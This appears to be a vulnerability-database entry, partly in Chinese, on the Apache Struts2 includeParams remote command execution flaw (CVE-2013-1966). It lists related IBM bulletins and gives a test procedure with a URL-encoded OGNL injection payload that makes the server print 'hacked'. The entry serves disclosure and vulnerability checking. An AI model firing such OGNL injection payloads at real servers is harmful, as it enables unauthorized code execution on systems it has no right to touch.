Apache Struts2 includeParams属性远程命令执行漏洞(CVE-2013-1966)

🗓️ 24 May 2013 00:00:00Reported by RootType

Apache Struts2 includeParams Remote Command Execution Vulnerability (CVE-2013-1966

Reporter	Title	Published	Views	Family All 37
IBM Security Bulletins	Security Bulletin: Order Management could be subject to an Apache Struts vulnerability that could allow a remote attacker to execute arbitrary code on the system.	12 Apr 202417:44	–	ibm
IBM Security Bulletins	Security Bulletin: IBM Call Center and Apache Struts Struts upgrade strategy (various CVEs, see below)	14 Sep 202217:37	–	ibm
IBM Security Bulletins	Security Bulletin: IBM Platform Symphony (CVE-2013-2251 CVE-2013-2248 CVE-2013-2135 CVE-2013-2134 CVE-2013-2115 CVE-2013-1966 CVE-2013-1965 CVE-2013-4310)	18 Jun 201801:24	–	ibm
IBM Security Bulletins	Security Bulletin: Unauthorized access exposure on IBM SAN Volume Controller and Storwize Family (CVE-2013-2251, CVE-2013-2248 CVE-2013-2135, CVE-2013-2134, CVE-2013-2115, CVE-2013-1966 and CVE-2013-1965)	29 Mar 202301:48	–	ibm
IBM Security Bulletins	Security Bulletin: IBM Sterling Order Management Apache Struts upgrade strategy (various CVEs, see below)	14 Sep 202217:45	–	ibm
IBM Security Bulletins	Security Bulletin:Sterling Web Channel is affected by Apache Struts 2 security vulnerabilities (CVE-2013-4310, CVE-2013-4316, CVE-2013-2251, CVE-2013-2248, CVE-2013-2135, CVE-2013-2134, CVE-2013-2115, CVE-2013-1966, CVE-2013-1965)	16 Jun 201819:37	–	ibm
IBM Security Bulletins	Security Bulletin: IBM Sterling Order Management and IBM Sterling Configure, Price, Quote are affected by multiple Apache Struts 2 security vulnerabilities.	16 Jun 201819:34	–	ibm
IBM Security Bulletins	Security Bulletin: IBM Storwize V7000 Unified Update Includes Fixes for Multiple Vendor Security Vulnerabilities.	26 Sep 202204:23	–	ibm
IBM Security Bulletins	Security Bulletin: Unauthorized access exposure on IBM SAN Volume Controller and Storwize Family (CVE-2013-2251 CVE-2013-2248 CVE-2013-2135 CVE-2013-2134 CVE-2013-2115 CVE-2013-1966 CVE-2013-1965)	26 Sep 202222:21	–	ibm
0day.today	Apache Struts includeParams Remote Code Execution	3 Jun 201300:00	–	zdt


                                                打开Struts Blank App中的 HelloWorld.jsp增加类似下列代码：

&lt;s:url id=&quot;url&quot; action=&quot;HelloWorld&quot; includeParams=&quot;all&quot;&gt;

运行 struts2-blank app

访问下列地址: http://localhost:8080/example/HelloWorld.action?fakeParam=%25%7B(%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue)(%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse)(%23writer%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23writer.println('hacked')%2C%23writer.close())%7D

如果返回&quot;hacked&quot;，则受此漏洞影响

24 May 2013 00:00Current

8.1High risk

Vulners AI Score8.1

EPSS0.91096